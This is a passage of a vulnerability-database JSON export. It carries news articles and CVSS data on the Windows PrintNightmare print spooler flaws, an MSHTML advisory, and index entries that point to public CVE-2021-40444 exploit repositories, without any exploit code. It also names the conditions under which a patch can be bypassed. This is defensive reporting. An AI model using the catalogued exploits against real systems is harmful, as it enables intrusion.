Vulnerability \u2013 PrintNightmare", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-08T15:05:22", "id": "THN:10A732F6ED612DC7431BDC9A3CEC3A29", "href": "https://thehackernews.com/2021/07/how-to-mitigate-microsoft-print-spooler.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:22", "description": "[](<https://thehackernews.com/images/-wbLrBJlJCfE/YOUa-690-KI/AAAAAAAADG0/6tT84mGPz6gQ_5vYBxhkEE_spk0LW4WpwCLcBGAsYHQ/s0/windows-patch-update.jpg>)\n\nMicrosoft has shipped an [emergency out-of-band security update](<https://docs.microsoft.com/en-us/windows/release-health/windows-message-center#1646>) to address a critical zero-day vulnerability \u2014 known as \"PrintNightmare\" \u2014 that affects the Windows Print Spooler service and can permit remote threat actors to run arbitrary code and take over vulnerable systems.\n\nTracked as [CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>) (CVSS score: 8.8), the remote code execution flaw impacts all supported editions of Windows. Last week, the company warned it had detected active exploitation attempts targeting the vulnerability.\n\n\"The Microsoft Windows Print Spooler service fails to restrict access to functionality that allows users to add printers and related drivers, which can allow a remote authenticated attacker to execute arbitrary code with SYSTEM privileges on a vulnerable system,\" the CERT Coordination Center said of the issue.\n\nIt's worth noting that PrintNightmare includes both remote code execution and a [local privilege escalation](<https://github.com/calebstewart/CVE-2021-1675>) vector that can be abused in attacks to run commands with SYSTEM privileges on targeted Windows machines.\n\n[](<https://thehackernews.com/images/-NzUbsCmtpLU/YOUekekqtnI/AAAAAAAADG8/HwnD7Xq3_iYftG9BrRvS1tJxIBOomRzXgCLcBGAsYHQ/s0/lpe.jpg>)\n\n\"The Microsoft update for CVE-2021-34527 only appears to address the Remote Code Execution (RCE via SMB and RPC) variants of the PrintNightmare, and not the Local Privilege Escalation (LPE) variant,\" CERT/CC vulnerability analyst Will Dormann [said](<https://www.kb.cert.org/vuls/id/383432>).\n\nThis effectively means that the incomplete fix could still be used by a local adversary to gain SYSTEM privileges. As workarounds, Microsoft recommends stopping and disabling the Print Spooler service or turning off inbound remote printing through Group Policy to block remote attacks.\n\nGiven the criticality of the flaw, the Windows maker has issued patches for:\n\n * Windows Server 2019\n * Windows Server 2012 R2\n * Windows Server 2008\n * Windows 8.1\n * Windows RT 8.1, and\n * Windows 10 (versions 21H1, 20H2, 2004, 1909, 1809, 1803, and 1507)\n\nMicrosoft has even taken the unusual step of issuing the fix for Windows 7, which officially reached the end of support as of January 2020.\n\nThe [update](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), however, does not include Windows 10 version 1607, Windows Server 2012, or Windows Server 2016, for which the Redmond-based company stated patches will be released in the forthcoming days.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-07T03:11:00", "type": "thn", "title": "Microsoft Issues Emergency Patch for Critical Windows PrintNightmare Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-07T03:38:13", "id": "THN:42B8A8C00254E7187FE0F1EF2AF6F5D7", "href": "https://thehackernews.com/2021/07/microsoft-issues-emergency-patch-for.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:22", "description": "[](<https://thehackernews.com/images/-4tveTym6-fk/YOZ_5ZwEbHI/AAAAAAAADHs/xXSCpfsipXYpe6tJM2SGaTIDUE9dVGoGwCLcBGAsYHQ/s0/PrintNightmare-Vulnerability-Patch.jpg>)\n\nEven as Microsoft [expanded patches](<https://docs.microsoft.com/en-us/windows/release-health/windows-message-center>) for the so-called [PrintNightmare vulnerability](<https://thehackernews.com/2021/07/how-to-mitigate-microsoft-print-spooler.html>) for Windows 10 version 1607, Windows Server 2012, and Windows Server 2016, it has come to light that the fix for the remote code execution exploit in the Windows Print Spooler service can be bypassed in certain scenarios, effectively defeating the security protections and permitting attackers to run arbitrary code on infected systems.\n\nOn Tuesday, the Windows maker issued an [emergency out-of-band update](<https://thehackernews.com/2021/07/microsoft-issues-emergency-patch-for.html>) to address [CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>) (CVSS score: 8.8) after the flaw was accidentally disclosed by researchers from Hong Kong-based cybersecurity firm Sangfor late last month, at which point it emerged that the issue was different from another bug \u2014 tracked as [CVE-2021-1675](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>) \u2014 that was patched by Microsoft on June 8.\n\n\"Several days ago, two security vulnerabilities were found in Microsoft Windows' existing printing mechanism,\" Yaniv Balmas, head of cyber research at Check Point, told The Hacker News. \"These vulnerabilities enable a malicious attacker to gain full control on all windows environments that enable printing.\"\n\n\"These are mostly working stations but, at times, this relates to entire servers that are an integral part of very popular organizational networks. Microsoft classified these vulnerabilities as critical, but when they were published they were able to fix only one of them, leaving the door open for explorations of the second vulnerability,\" Balmas added.\n\nPrintNightmare stems from bugs in the Windows [Print Spooler](<https://docs.microsoft.com/en-us/windows/win32/printdocs/print-spooler>) service, which manages the printing process inside local networks. The main concern with the threat is that non-administrator users had the ability to load their own printer drivers. This has now been rectified.\n\n\"After installing this [update] and later Windows updates, users who are not administrators can only install signed print drivers to a print server,\" Microsoft [said](<https://support.microsoft.com/en-us/topic/july-7-2021-kb5004948-os-build-14393-4470-out-of-band-fb676642-a3fe-4304-a79c-9d651d2f6550>), detailing the improvements made to mitigate the risks associated with the flaw. \"Administrator credentials will be required to install unsigned printer drivers on a printer server going forward.\"\n\nPost the update's release, CERT/CC vulnerability analyst Will Dormann cautioned that the patch \"only appears to address the Remote Code Execution (RCE via SMB and RPC) variants of the PrintNightmare, and not the Local Privilege Escalation (LPE) variant,\" thereby allowing attackers to abuse the latter to gain SYSTEM privileges on vulnerable systems.\n\nNow, further testing of the update has revealed that exploits targeting the flaw could [bypass](<https://twitter.com/gentilkiwi/status/1412771368534528001>) the [remediations](<https://twitter.com/wdormann/status/1412813044279910416>) entirely to gain both local privilege escalation and remote code execution. To achieve this, however, a [Windows policy](<https://docs.microsoft.com/en-us/troubleshoot/windows-server/printing/use-group-policy-to-control-ad-printer>) called '[Point and Print Restrictions](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/group-policy/point-print-restrictions-policies-ignored>)' must be enabled (Computer Configuration\\Policies\\Administrative Templates\\Printers: Point and Print Restrictions), using which malicious printer drivers could be potentially installed.\n\n\"Note that the Microsoft update for CVE-2021-34527 does not effectively prevent exploitation of systems where the Point and Print NoWarningNoElevationOnInstall is set to 1,\" Dormann [said](<https://www.kb.cert.org/vuls/id/383432>) Wednesday. Microsoft, for its part, [explains in its advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) that \"Point and Print is not directly related to this vulnerability, but the technology weakens the local security posture in such a way that exploitation will be possible.\"\n\nWhile Microsoft has recommended the nuclear option of stopping and disabling the Print Spooler service, an [alternative workaround](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>) is to enable security prompts for Point and Print, and limit printer driver installation privileges to administrators alone by configuring the \"RestrictDriverInstallationToAdministrators\" registry value to prevent regular users from installing printer drivers on a print server.\n\n**UPDATE:** In response to CERT/CC's report, Microsoft [said](<https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/>) on Thursday:\n\n\"Our investigation has shown that the OOB [out-of-band] security update is working as designed and is effective against the known printer spooling exploits and other public reports collectively being referred to as PrintNightmare. All reports we have investigated have relied on the changing of default registry setting related to Point and Print to an insecure configuration.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-08T04:35:00", "type": "thn", "title": "Microsoft's Emergency Patch Fails to Fully Fix PrintNightmare RCE Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-09T09:52:49", "id": "THN:CAFA6C5C5A34365636215CFD7679FD50", "href": "https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:20", "description": "[](<https://thehackernews.com/images/-dWO_rqbdIfE/YPENEeXU5vI/AAAAAAAADNg/aAsoS9_8txQ842LEOAjpzJcvpkm6tro9wCLcBGAsYHQ/s0/Windows-Print-Spooler-Vulnerability.jpg>)\n\nMicrosoft on Thursday shared fresh guidance on yet another vulnerability affecting the Windows Print Spooler service, stating that it's working to address it in an upcoming security update.\n\nTracked as [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) (CVSS score: 7.8), the issue concerns a local privilege escalation flaw that could be abused to perform unauthorized actions on the system. The company credited security researcher Jacob Baines for discovering and reporting the bug.\n\n\"An elevation of privilege vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations. An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges,\" the Windows maker said in its advisory. \"An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\"\n\nHowever, it's worth pointing out that successful exploitation of the vulnerability requires the attacker to have the ability to execute code on a victim system. In other words, this vulnerability can only be exploited locally to gain elevated privileges on a device.\n\n[](<https://thehackernews.com/images/-KUjZieTgFsk/YPENj7mkDHI/AAAAAAAADNo/7YO-HAzw4LQN5_eg5egoI8gP2YeP34pjwCLcBGAsYHQ/s0/hacking.jpg>)\n\nAs workarounds, Microsoft is recommending users to stop and disable the Print Spooler service to prevent malicious actors from exploiting the vulnerability.\n\nThe development comes days after the Redmond-based firm rolled out patches to address a critical shortcoming in the same component that it disclosed as being actively exploited to stage in-the-wild attacks, making it the third printer-related flaw to come to light in recent weeks.\n\nDubbed PrintNightmare ([CVE-2021-34527](<https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html>)), the vulnerability stems from a missing permission check in the Print Spooler that enables the installation of malicious print drivers to achieve remote code execution or local privilege escalation on vulnerable systems.\n\nHowever, it later emerged that the out-of-band security update could be entirely bypassed under specific conditions to gain both local privilege escalation and remote code execution. Microsoft has since said the fixes are \"working as designed and is effective against the known printer spooling exploits and other public reports collectively being referred to as PrintNightmare.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-16T04:40:00", "type": "thn", "title": "Microsoft Warns of New Unpatched Windows Print Spooler Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-34527"], "modified": "2021-07-17T11:53:08", "id": "THN:CF5E93184467C7B8F56A517CE724ABCF", "href": "https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:23", "description": "[](<https://thehackernews.com/images/-RJ_0BYkTxHY/YN7HyUD-_KI/AAAAAAAA4SA/dbXcZli9DPwTnJvla5sgZ3hDzIqO8zLRgCLcBGAsYHQ/s0/windows-print-spooler-vulnerability.jpg>)\n\nMicrosoft on Thursday officially confirmed that the \"**PrintNightmare**\" remote code execution (RCE) vulnerability affecting Windows Print Spooler is different from the issue the company addressed as part of its Patch Tuesday update released earlier this month, while warning that it has detected exploitation attempts targeting the flaw.\n\nThe company is tracking the security weakness under the identifier [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), and has assigned it a severity rating of 8.8 on the CVSS scoring system. All versions of Windows contain the vulnerable code and are susceptible to exploitation.\n\n\"A remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\" Microsoft said in its advisory. \"An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\"\n\n\"An attack must involve an authenticated user calling RpcAddPrinterDriverEx(),\" the Redmond-based firm added. When reached by The Hacker News, the company said it had nothing to share beyond the advisory.\n\nThe acknowledgment comes after researchers from Hong Kong-based cybersecurity company Sangfor [published](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>) a technical deep-dive of a Print Spooler RCE flaw to GitHub, along with a fully working PoC code, before it was taken down just hours after it went up.\n\n[](<https://thehackernews.com/images/-Zl5E2TyZRFQ/YN7Ej6s8x8I/AAAAAAAA4R4/FEYZ4JpYdakscU9e8eXMl9VEI0Hl1P_SwCLcBGAsYHQ/s0/ms.jpg>)\n\nThe disclosures also set off speculation and debate about whether the June patch does or does not protect against the RCE vulnerability, with the CERT Coordination Center [noting](<https://kb.cert.org/vuls/id/383432>) that \"while Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does NOT protect Active Directory domain controllers, or systems that have Point and Print configured with the NoWarningNoElevationOnInstall option configured.\"\n\nCVE-2021-1675, originally classified as an elevation of privilege vulnerability and later revised to RCE, was remediated by Microsoft on June 8, 2021.\n\nThe company, in its advisory, noted that PrintNightmare is distinct from CVE-2021-1675 for reasons that the latter resolves a separate vulnerability in RpcAddPrinterDriverEx() and that the attack vector is different.\n\nAs workarounds, Microsoft is recommending users to disable the Print Spooler service or turn off inbound remote printing through Group Policy. To reduce the attack surface and as an alternative to completely disabling printing, the company is also advising to check membership and nested group membership, and reduce membership as much as possible, or completely empty the groups where possible.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-02T05:36:00", "type": "thn", "title": "Microsoft Warns of Critical \"PrintNightmare\" Flaw Being Exploited in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-03T07:11:54", "id": "THN:9CE630030E0F3E3041E633E498244C8D", "href": "https://thehackernews.com/2021/07/microsoft-warns-of-critical.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cnvd": [{"lastseen": "2022-11-05T09:46:18", "description": "MSHTML (also known as Trident) is Microsoft's Internet Explorer browser engine, and while MHTML is primarily used in the deprecated Internet Explorer browser, the component is also used in Office applications to render Word, Excel, or PowerPoint documents in A remote code execution vulnerability exists in Microsoft MSHTML. An attacker could exploit this vulnerability by crafting a Microsoft Office document with a malicious ActiveX control and tricking a user into opening the document. A remote attacker who successfully exploits this vulnerability could execute arbitrary code on the target system with that user's privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-08T00:00:00", "type": "cnvd", "title": "Microsoft MSHTML Remote Code Execution Vulnerability", "bulletinFamily": "cnvd", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-08T00:00:00", "id": "CNVD-2021-69088", "href": "https://www.cnvd.org.cn/flaw/show/CNVD-2021-69088", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "githubexploit": [{"lastseen": "2022-08-17T22:52:51", "description": "# CVE-2021-40444--CABless version\nUpdate: Modified code so that ...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-19T19:46:28", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-07-17T22:25:33", "id": "0E388E09-F00E-58B6-BEFE-026913357CE0", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:35:39", "description": "# cve-2021-40444\nReverse engineering the \"A Letter Before Court ...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-12T09:27:40", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-12T12:00:29", "id": "E06577DB-A581-55E1-968E-81430C294A84", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:04:54", "description": "# Caboom\n\n```\n \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557 \u2588...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-11T16:31:05", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-05-13T12:52:15", "id": "6BC80C90-569E-5084-8C0E-891F12F1805E", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-15T21:37:40", "description": "# CVE-2021-40444 PoC\n\nMalicious docx generator to exploit CVE-20...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-10T16:55:53", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-08-15T15:41:32", "id": "72881C31-5BFD-5DAF-9D20-D6170EEC520D", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:34:39", "description": "# CVE-2021-40444 PoC\n\nMalicious docx generator to exploit CVE-20...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-11T09:21:29", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-20T15:39:54", "id": "0D0DAF60-4F3C-5B17-8BAB-5A8A73BC25CC", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:34:25", "description": "# CVE-2021-40444 docx Generate\ndocx generating to exploit CVE-20...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-11T05:31:52", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, 